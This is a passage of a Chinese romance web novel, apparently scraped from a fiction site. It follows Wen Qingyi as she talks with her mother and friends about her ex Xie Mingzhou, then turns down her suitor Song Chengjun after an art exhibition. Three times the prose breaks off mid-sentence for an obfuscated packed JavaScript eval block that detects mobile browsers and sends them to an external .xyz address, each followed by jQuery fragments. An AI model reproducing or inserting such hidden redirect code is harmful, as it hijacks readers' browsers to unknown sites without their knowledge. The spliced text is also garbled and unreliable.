良久她才道:“学校里很多人都说宋承君长得帅,虽然他的课不好过,但还是有很多学生乐意去旁听。我承认他确实长得不错,对我也挺好的,可能之前出去十次会有两次产生一点点心动,每当这时我就会想或许可以和他试试。”
温韵玫很理解她这种感觉,有个人在身边坚持不懈地嘘寒问暖,人非草木,怎么可能不动容。所以在回南城前温清漪的确可能在考虑要不要和宋承君试试看,但这南城一回,怕是满脑子就只有在想怎么拒绝。
所以听到这,温韵玫觉得该转折了,“现在见了一次谢铭洲就不这么想了?”
“我这样对宋承君是不是不太好?”温清漪偶尔会被这种纠结的念头困扰,总担心自己像退而求其次的“渣女”。
温韵玫对此嗤之以鼻,“你玩弄谁感情了吗?你不是一早就和他说得很清楚,是他不放弃非要吊死在你这。”
妈妈就是这样护短,见不得她自我怀疑。但温清漪还在死鸭子嘴硬,“不过我也没有那么希望和谢铭洲复合吧,再说人家怎么想也不一定呢,万一我在自作多情呢?”
回答她的是温韵玫的一个白眼,“见一面没治好相思病,反倒打起哑谜来了?干什么不好非要不停地猜猜猜,你俩长了嘴不知道沟通吗?”
“我就是觉得只见一面容易冲动,万一其实大家都变了,只是因为有从前的滤镜和自我美化的回忆,幻想重新开始后会和以前一样。看似都在原地,其实我们之间的距离就像地壳运动已经隔了千山万水。”
温韵玫有时候对她挺无语的,“少看看文艺片,这都什么破比喻。地壳运动要多久,你们分开才多久,谁知道下次的运动轨迹是什么样?”
温清漪把牛油锅里没有及时捞出来的羊肉夹到蘸料碟中,再送进嘴里,肉已经老了,嚼得腮帮子发酸。吐掉之后她继续诡辩,“有些东西可以三天,三个月,三年,又或者仅仅三秒,多一点都不行。”
温韵玫多少有点恨铁不成钢,“得了吧,你都在他家过夜了再来和我说这些,你自己觉得有说服力吗?行不行不都是你一句话。”
“那我们分手了也是纯友谊,从小一起长大的朋友互相帮助应该的。”
“纯友谊?我看唇友谊还差不多。温清漪你先把脖子遮遮好。”
听到这话,她一个激灵拿起手机照了照,什么都没有。再看到温韵玫戏谑的表情,知道是被诈了。
温女士语气幽幽:“温清漪,我是你妈,我还不知道你?”
这下温清漪彻底偃旗息鼓,低头一个劲吃饭,生怕再说下去温韵玫会问得更多。
拿手机的时候又想起来还没回谢铭洲消息,所幸拍了张吃了一半的火锅发过去。
温清漪:「在吃饭,你早点休息。」
谢铭洲:「晚安。」
而温清漪不知道的是,屏幕那头的谢铭洲点开照片放大,不放过每个角落仔细辨认,确认只有双人餐具后才如释重负地放下手机。
他有种预感,再不快点回去就要来不及了。他不打算等处理完房子和店面的事再走,当务之急是在北城重新找房子,要离温清漪近点。
下定决心往往只在某个瞬间,他给之前在北城经常联系的中介发去消息。
/
一顿火锅吃了快两个小时,吃到最后温清漪有些撑了,但还是边聊天边解决完。
到家已经过了十二点,温韵玫停好车先上楼,温清漪说要在小区走两圈消食,便独自晃荡。
宋承君发来消息:「到家了吗?」
温清漪:「到了,在楼下散步。」
宋承君:「礼物喜欢吗?」
温清漪:「还没拆,晚点上去看看。」
她本来想说喜欢,但到底还是实话实说。
宋承君:「好的,上次想约你看的展下个月就要撤了,你什么时候有时间,看看能不能赶上。」
温清漪:「下周日我休息。」
宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635299|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承君:「好,到时候我来接你。早点休息,晚安。」
温清漪:「嗯。」
下次见面应该就是她给出答复的最后期限,拒绝很简单,礼貌又不伤人的拒绝才难。
回完消息,她忽然兴致缺缺,也没了散步的心思,转身上楼。
在等电梯的时候随手翻阅了和宋承君的聊天记录,频率不高,几乎每次都是他先展开话题。
一直翻到最早的一条消息,是前年暑假开学不久,她通过他的好友验证。
宋承君:「温同学,我是马院的宋老师,你的《马克思主义原理》在我办公室,请于下周二中午前取走。」
彼时刚收到验证的温清漪只觉得莫名其妙,自己在金融系给导师当助理,上一次上马原都不知道是多少年前的事了,更没听过学院有个姓宋的老师。
她以为是骗子,转头和教秘吐槽,教秘想了下说:“宋承君老师吧?才来一年多,你和马院的老师们没接触不知道,他长得可帅了。就是给分太狠了,同学们都不乐意选他的课。”
“他没事吧,马原不是水课吗,何必为难学生。”温清漪最烦这种老师。
“不止马原,他还有好几门课。”
“幸好我遇到的老师都是捞神,不过他给我发这消息是不是有什么误会。”温清漪还是不明白。
教秘拍了拍她的肩,“你直接去找他呗,顺便看看他是不是真的很帅。”
温清漪便去了,敲了敲门进去,马原办公室只有一个老师在,看了他眼桌上的牌子,宋承君。
她走到宋承君办公桌前,问:“宋老师,你找我?”
宋承君停下笔抬头看了她一眼,有些疑惑,“你是?”
“《马克思主义原理》。”
他反应过来,语气有些严肃:“温同学是吧,你哪个专业的,把书扔在食堂门口的垃圾桶上,还是别的老师捡了拿来给我。”
温清漪更觉得莫名其妙了,她伸手去拿桌角放的书,“是这本吧?”
翻开封面,只见扉页上写了自己的名字和微信号。
温清漪顿时心中有数,拉过一旁的椅子坐下,把书推到宋承君面前,“宋老师,我是金融系李教授的助理,帮他做ppt的时候上面留的联系方式是我的,这应该是某个带错书的学生随手记的,你搞错了。”
解释完,温清漪就准备离开,走到一半又折回,拿走那本《马克思主义原理》,“我知道是哪个班的学生了,明天李教授刚好有课,我帮你带过去。”
她没给宋承君说话的机会,径直离开。
过了会儿收到一条微信消息,宋承君发来一条消息:「对不起温老师,是我没搞清楚,很抱歉给你造成困扰,还耽误了你的时间。明天下了课能请你吃饭吗?真对不起。」
也是那天之后两人有了交集,所谓一回生二回熟,之后再在学校碰到也会打招呼。温清漪给书找主人的时候还和学生们说:“你们以后联系方式别乱写。”
结果学生们都在调侃缘分这种事没道理。
后来温清漪的助理工作在秋学期期末结束,转头去了李教授介绍的事务所。
但宋承君和她的联系并未因此中断,只是缘分这种事结果如何,还是要看人。
温清漪想再等等谢铭洲,在下周日之前。
12. 微醺夜
要说还是北城好,温清漪喜欢这里的一切,河水中流动着一切可能,就连空气似乎都比其他地方更令人舒适。
算命大师说她喜金水,没有比北城更适合她的地方了。
但她对城市的喜欢无法移情到工作上,周末才结束就连着加班五天,只因项目组就她和另外一位男性是单身,住得离公司又近,简直是天选牛马。
周五下班前交完报表,她和同病相怜的男同事堵在组长办公室门口控诉,“老大,你行行好别压榨我俩了。”
“你们确实辛苦了,下班我请你们吃饭吧,”组长拎了包将两人往门外推,“对面新开的铁板烧,走不走?”
男同事摆手,“组长你的我好意心领了,但我不要变相加班。”
“去,”组长没好气地推开他,转而双手搭上温清漪的肩,“你呢?”
温清漪一个矮身从她掌中逃脱,“我约了人去居酒屋,要不你跟我一起?”
“他都说跟我吃饭是加班,那你叫我去喝酒算什么,反向加班吗?”组长举双手投降,“不需要你们,我现在摇人吃铁板烧,祝各位周末愉快。”
周五晚高峰最是令人崩溃,温清漪脱掉短高跟换上洞洞鞋,背着帆布包挤进地铁。
男同事和她顺路,拉着吊环摇摇晃晃,在人墙夹缝中几次趔趄,都没能阻挡他吐槽对接财务的热情。
几站过后下了一大批人,终于有几个空位,温清漪靠边坐下,男同事在斜对面落座,后上来的人在中间将他们隔开。
世界清静了。
她戴上耳机,回复朋友的消息。
今晚约她的是好友傅椿樱和学长许立平。
准确来说,许立平是谢铭洲的学长,他们从前经常一块玩,即便后来温清漪和谢铭洲分了手,也不耽误留在北城的三人定期见面时常约饭。
温清漪怀疑那个时常和谢铭洲提起自己的共同好友就是许立平,正打算今晚借此机会去“兴师问罪”。
八点半终于抵达居酒屋,温清漪在门口碰到也刚来的许立平,两人一同进去。
傅椿樱来得早,独自坐在吧台已经喝了一轮。看到两人来了,忙冲她们招手,在预留的桌前各推一杯啤酒,“迟到的罚酒,给我喝。”
在路上被折腾得疲惫不堪,温清漪坐下来仰头喝了一大口,总算恢复了一点。
许立平则推开酒杯,先倒了杯热茶,“我要吃点东西垫垫再喝,你俩也先吃点。”
提前下单的寿司和天妇罗上了桌,都是温清漪喜欢的。
“许立平你今天不是早下班吗?怎么来这么晚?”如果不是知道他提前下班,傅椿樱也不会来这么早。
“有个朋友搬家找我去帮忙,耽误了点时间。”说完他不经意看向温清漪,哪知人家埋头苦吃,压根没对上视线。
“温清漪你上周不是回南城,和谢铭洲说什么了?我说千百遍都不如你和他见一面管用。”见使眼色没用,许立平索性直接问了。他实在好奇得不行,在谢铭洲那没问出个所以然来,便只好指望温清漪满足他的八卦之心了。
温清漪放下筷子,她还没问他呢,他倒先提了。
“先别管我说了什么,你先告诉我你是不是经常和谢铭洲聊起我?我有点什么事你都跟他讲?”
许立平矢口否认,“我可没那么闲。”
“我看你挺闲的。”傅椿樱在旁边看热闹不嫌事大,好朋友就该两肋插刀。
温清漪哪里信他,“宋承君的事你也和他说了?”
这事许立平真没做过,否认起来瞬间有了底气,“我一个月顶多和他聊一次,平常也就说点工作上的事,你的感情事我才不会和他多嘴。”
见他态度坚决,温清漪半信半疑地再次确认,“真不是你?”
许立平一个劲摇头,举起酒杯仰头饮尽,“信我好吧。”
“温温不是我说,你何必在谢铭洲这一棵树上吊死,他知道又怎样,说明你足够优秀,”傅椿樱帮两人满上,不懂这有什么好问的,“除开宋承君,我给你介绍的其他几个你也都不要,眼里只容得下谢铭洲?”
傅椿樱是北城本地人,父母经商,家境优渥,给温清漪介绍的不是富二代就是公务员,平心而论这些人都不错。
但温清漪自觉无福消受,“富二代需要情绪价值,我提供不来。公务员家里催结婚,更是要我命。好不容易有个和我相处得来的结果是个律师,人家比我还忙,一个月能见一面都费劲。”
“没事儿,我还有个朋友马上要回国了,纯情小男生介绍给你啊。”傅椿樱别的没有,有的是优质男。
不等温清漪拒绝,许立平就先坐不住了,“你天天给她介绍干嘛,人家说要了吗?再说留学的能有什么纯情男,说不定ppt也能做个十几页。”
傅椿樱给他脑袋来了一巴掌,“什么话,少刻板印象,你这是造谣,人家专业的,小心反手给你一个律师函。”
“啧,看看,又律师,能谈到一块吗?”许立平满是嫌弃。
“那咋了,和你们it男半斤八两。”
这两人聊天聊到最后变成针锋相对已经是家常便饭,温清漪每次都觉得怪有趣的。
傅椿樱懒得和他多费口舌,直接打开朋友圈找到朋友的照片凑到温清漪跟前,“看看,是不是你的菜。”
温清漪正要凑过去看,手机就被许立平一个眼疾手快地抽走,迅速反合在桌上。
“你今天就非得和我唱反调?”傅椿樱狠狠瞪他一眼,但不生气,直接不给他眼神,“别人不行,宋承君很不错呀,你考虑考虑呢。”
“周日他约我去看展,我决定到时候和他说清楚。”温清漪给自己一周时间组织语言,但到现在还毫无头绪,思来想去也只有一句生硬的对不起。
“别撺掇她找别人了椿樱,”许立平叹了口气,语重心长地对她说,“谢铭洲就快回来了,真撺掇成了,当心他吊死在你面前。”
此话一出,不止傅椿樱,连温清漪本人都愣住了。
“谢铭洲要回来?”
“你知道他什么时候回来?”
两人异口同声,说完傅椿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635300|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
樱看向温清漪,“好啊温温,所以你回去那天和他真发生了些什么?我还以为谢铭洲准备一辈子窝在那地方了。”
许立平意识到说漏嘴,猛灌一口酒开始装深沉。
温清漪见状没追问,既然谢铭洲说了会来找她,那从别人嘴里问清楚了反而没惊喜。
傅椿樱最会察言观色,打趣归打趣,见温清漪没要继续这个话题便就此打住。
三人用片刻沉默便达成共识,不约而同地换了话题。
喝完桌上的啤酒,又步行二十分钟转场下一家小酒馆。
两杯shot下肚,温清漪开始头晕,“我酒量没这么差吧,这家是不是假酒。”
“反正这家不好喝,下次不来了。”傅椿樱怀疑调酒师点火的时候不小心把生命之水漏了下去,喝起来味道怪怪的。
最后还是许立平像没事人一样把两人送回家,他的两杯shot一口没喝。
傅椿樱家更近,代驾来了先送她,最后把温清漪交到温韵玫手上,许立平才放心离开。
代驾司机正要往最后一个目的地开,许立平临时换了地址,“师傅,去对面的景江府。”
这正是他下午去帮忙搬家的地方,谢铭洲还没回来,先找他去签收家具。下午走的时候没关窗,眼看半夜要下大雨,他好心再去一趟。
坐在副驾,许立平找到谢铭洲的微信。
许立平:「送她回家了,现在去帮你关窗。」
谢铭洲:「多谢,回来请你吃饭。」
许立平:「哪天的飞机?」
谢铭洲:「明天晚上到,周日去找她。」
许立平看到周日,眼皮跳了跳,没忍住笑出声,越想越有意思。
司机顺势搭了句话,“什么事那么好笑?”
“笑有些人真会赶巧,都堆一块了。”
等笑完了,许立平在纠结要不要告诉谢铭洲,有人提前预约了温清漪的周日,这人还是他情敌。
几秒后,他发出信息:「祝你好运。」
许立平决定损人一回,谁让谢铭洲重色轻友,每次都拒绝他。
谢铭洲那天给中介发了消息后连同要求一并说了,价格不是问题,越快越好。
他甚至等不及现场去看,只看了视频就定下景江府,距离温清漪家步行十分钟。
有人愿意接手文具店,后续事宜便拜托张叔。
周六凌晨,谢铭洲又失眠了。
他索性开灯不睡了,起来把行李从里到外又检查一遍。
上次温清漪来的时候说他家有种随时能跑路的感觉,为的就是这天准备。
大部分衣物提前打包寄去了北城,现在就剩一个行李。就连那辆车他也不要了,留在南城给张叔开。
航班起飞又降落,天明了再日落。
终于熬到周日,打扫完屋子,谢铭洲把自己收拾好,心怀忐忑地给温清漪打去电话。
等待接通的几秒钟格外漫长,漫长到铃声变成机械女音,通话转至语音留言。
温清漪拒接了他的电话。
13. 再相逢
北城晴朗了大半月,终于在周日这天飘起雨。
十点闹钟响的时候温清漪还在做梦,拉开窗帘一看外头阴沉的天,全然没了出门的兴致,再没有比这更适合睡觉的天气。
但她答应了宋承君一起看展,和他之间的关系也需要一个了结。
温韵玫敲了敲门,喊她去吃早饭。
在床上又赖了会儿,温清漪才洗漱完出来。
昨晚她睡得一般,睡前想的事情繁杂,这会儿没什么精神。
“半夜做贼了?”温韵玫瞥见她那样子忍不住打趣,“你和宋承君说的几点,现在才起床,不出去吃饭吗?”
她边打哈欠边盛粥,“我说我起不来,午饭自己解决,十二点他来接我先去中山路那边看个展,再一起吃晚饭。”
“那边有个艺术展最近还蛮火的,里面有个迷宫很有意思,你们是去那个吗?”温韵玫潮流得很,经常和药房里的同事探讨北城值得打卡的地方,比温清漪还了解。
温清漪没细看介绍,她对这些本来就不感兴趣,各种展览从头走到尾也没深度了解,转头隔天便忘了。
她做事总喜欢找意义,即便知道并非所有东西都需要意义,却也还是会认为所有不感兴趣的事都是在浪费时间。
但很多时候又不得不接受这种浪费。
“可能是吧,反正跟他走就是了。”温清漪用搪瓷勺有一下没一下地搅着略微涨干的粥,吃了两口便放下,起身去冰箱里拿榨菜,“晚上要是回来得晚你就先睡,不用等我。”
“我怎么睡得着?”温韵玫还等着她回来汇报情况。
“妈你别这么八卦行不行?反正是拒绝他,结果都一样,过程有什么好说的。”
温韵玫不以为然,“那不一样,你怎么拒绝都行,我想知道的是被拒绝者的反应。有的人遗憾接受并尊重祝福有的人气急败坏暴跳如雷,男的都太会伪装了,你爸以前追我的时候也是个不抽烟不喝酒不赌博的,其实人家会演着呢。我只是希望小宋是前者,起码让我觉得没看错人。”
听温韵玫这么一说,温清漪开始想象宋承君怒不可遏的模样,想了半天最终放弃,失态和宋承君之间实在难以联系到一块儿。
倒是以前和谢铭洲吵架,他冷着张脸明明跟倔驴一样不说话,人却跟在她后面甩不掉,晚上睡觉还抱着她不放,嘴硬说是在梦中。
谢铭洲啊,她竟然会在这种时候想起他。
“这年头是个人都知道我考虑这么久就是要拒绝,你别看宋承君谦和好说话,其实他心里门清,那大家都是能拖一天是一天。”温清漪自己心里也跟明镜似的。
终于把粥喝完,她收拾好碗筷,回房间化妆。
没必要太隆重,简单打了个底涂点唇膏,换了身方便行动的休闲装。
她依稀记得宋承君是说过展览里有个很大的迷宫,极有可能和温韵玫说的是一个展。
宋承君出发前给她发了个消息,二十分钟后准时到楼下。
出门前,温韵玫多问了句:“谢铭洲有没有和你表示过他对宋承君的态度?”
温清漪开门的手一顿,“他该是什么态度?”
问完又觉得不对,很快回过味来,“你怎么知道他知道宋承君?”
“什么我怎么知道?”温韵玫和她装傻,推着她往外走,“你快去吧,别让人久等。”
说完把门一关,不给她再追问的机会。
刚坐上车,宋承君便递来一个装有奶茶的袋子。是她爱喝的那家店,刚开来北城不久,每次线上点完单都要等很久,而且没外卖。
“你特意去买的?”
“早上刚好在附近有事,事情办完恰巧商场开门,小程序点单的人不多,想到你爱喝就顺手买了。
“你说要带我去看的那个展叫什么?”
宋承君说了个名字,温清漪打开社交软件临时进行搜索,帖子点赞最高的内容就是以蜂巢为设计灵感的迷宫装置。
“这个我好像以前在一个综艺里见到过,但忘了名字是什么。”温清漪看到图隐约有一些模糊的印象。
温清漪家离中山路不远,只是周末难停车,花了点时间。
两人赶在撤展前一天来参观,人比想象中的少,最火的时候已经过去了。
检完票一路进去,只有零星几个人,恰好温清漪讨厌挤热闹,“赶早不如赶巧,人少点体验感还更好。”
这是几名艺术家合办的装置艺术展,入口挂满玻璃烧制的蝴蝶,作为引路人成群地向里面飞。
顺着蝴蝶的朝向往里面去,能看见吊顶上垂落的鲜花像下坠的焰火,有几只入口的玻璃蝴蝶围绕在四周。
再往里,便是蜂巢迷宫。
原本走在他们前面的几个参观者停在门前看说明事项,这个迷宫共有两个入口四个出口,但也可能绕了一圈又回到起点。若双人同行,可以挑战同进同出,但中间线路必须分开。挑战成功的人能在出口商店兑换一只由策展人亲手烧制的玻璃蝴蝶。
零星的参观者里有一对情侣选择挑战,工作人员在两人身上各贴了一张黄色标签,两人进入迷宫后,身影便出现在一旁的监控里。
俯视镜头能看见迷宫全景,温清漪没急着走,站在原地看两人在蜂巢里交错相逢,分别走到左右最边缘的格子,却又能在最后回到同一个出口。
“我们也试试?”宋承君见她看了那么久,以为她也跃跃欲试。
结果温清漪摇摇头,“算了,我们可没这个默契。”
一旁工作人员听见,过来好心道:“你们来都来了,就试下嘛,而且每天挑战成功的人还挺多的,我不给你们贴标签,如果最后能一起出来也送你们一只玻璃蝴蝶。”
既然人家都这样说了,温清漪便没再拒绝。
两人选择一起从右侧的入口进,商量好从最右侧的出口出去。
然而一分开,踏入不同的隔间,六边形玻璃构成的蜂巢就像盗梦空间,温清漪很快辨不清方向,只能和无头苍蝇一样乱走。
她自以为一直靠右走,其实在开头就错了。
最后从二号出口出来,没等到宋承君,一转头看见他从三号口出来。
毫无意外地,意料之中的挑战失败。
“果然,”温清漪只是这样说,“可惜玻璃蝴蝶还蛮好看的,不知道能不能买一只。”
引导员指了个方向,“你们跟着路标走,在出口的商店可以买成品,也能亲手烧。”
路标指向下一个装置,他们穿过一段幽暗的隧道,墙壁两边挂满玻璃萤火虫,顶上偶尔垂下几只蝴蝶。
走至尽头看见光亮,有更多的蝴蝶从四周涌出,围绕着无数根细长的玻璃形成一个旋转向上的风暴。
墙壁上的介绍写这个装置叫破茧。成群的蝴蝶一路飞过花海,穿越迷宫与隧道,最终于此处再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647022|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会。
读完展览结语,温清漪指着不远处的商店,“我要去买玻璃蝴蝶。”
每个展览都有它自身的寓意,引言和结语往往浓缩了核心,温清漪看完没什么触动。未必有多深的奥义,但整个场馆的布置充满氛围,能有一点令人满意也不算白来。
商店里有一整面蝴蝶墙,颜色各异的蝴蝶随意摆放,单拿一只出来反而单调得无趣。
“你想要哪个?”宋承君去准备付钱。
温清漪挑了几只在手中比较,都不如放在一块儿好看,最后她全部原封不动地放回去,“算啦,不要了,还是挂在一起好看。时间还早,我们再去逛逛别的。”
两人路过洗手间,温清漪让他稍等。
在她去洗手间的几分钟里,宋承君跑着折返回去,买下了刚才她拿在手里的那几只蝴蝶。
等温清漪出来,宋承君已经回来了。
“我们去外面再逛逛。”温清漪提议。
中山路上还有不少有趣的小店,逛一逛打发时间,才会让吃饭前的几个小时没那么煎熬。
“行,不过要预留一小时的路程,我订的那家餐厅有点远。”宋承君把几个盒子塞在工装裤里。他的每个口袋都很大,装下只有掌心大小的盒子绰绰有余,不细看也根本不会发现,比如温清漪就压根没察觉。
宋承君预约了一家开在山上的新式私房菜,里面只有包间,私密性不错。
每日菜单是固定的,他们刚坐下,服务员就来问是否可以上菜。
每道菜分量少,但都精致过了头,味道或许也因此加了几分。
有了对比,餐后甜点就略显普通,寻常的拔丝冰激凌和味道一般的蜜瓜火腿。
眼看用餐进行到末尾,宋承君整个人越发局促起来,服务员刚添的普洱,他就又一口气喝完。
几次深呼吸过后终于抬头望向温清漪。
尽管心里已经有了答案,但他还是正了正色稳住心神,“每次回想起我们认识的原因都觉得特戏剧,有时候我在想如果当初我没有一定要找到丢了那本书的学生,可能到你工作结束我们都不会认识,之后就更没机会了。又或者你看到我的消息只当诈骗拉黑,我也不能怎么样。”
温清漪小口挖着冰激凌,原来宋承君也会一次性说这么多话。
她默默听着,对面又续道:“和你做朋友很有趣,但我不想只……”
他话没说完,就被一阵手机铃声打断,是温清漪的来电。
看到来电显示,她整个人有片刻愣怔,很快反应过来,挂断、静音,把手机反扣在桌上,示意宋承君继续。
然而宋承君没再接着刚才的话说,他看到了那个名字,是谢铭洲。
虽然早有心理准备,但心里仍止不住失落,在听见温清漪要回南城一天的时候他就彻底不抱期望了。
强撑了一天的笑容在此刻得以窥见几分勉强,“我是说和你做朋友很荣幸,我们会一直是朋友的对吧?”
“嗯,会的。”温清漪嘴上这样说,但她很清楚,今天过后两人除非必要,很可能不会再见了。
宋承君送她回去的路上格外沉默,他几次想开口,话到嘴边又咽了下去。
车子缓缓驶入小区,停到她所住的单元楼下,有个人背对着立在路灯下,听见有车驶来,他转身看过来。
温清漪隔着车窗意外与那人对上视线,谢铭洲就站在那儿。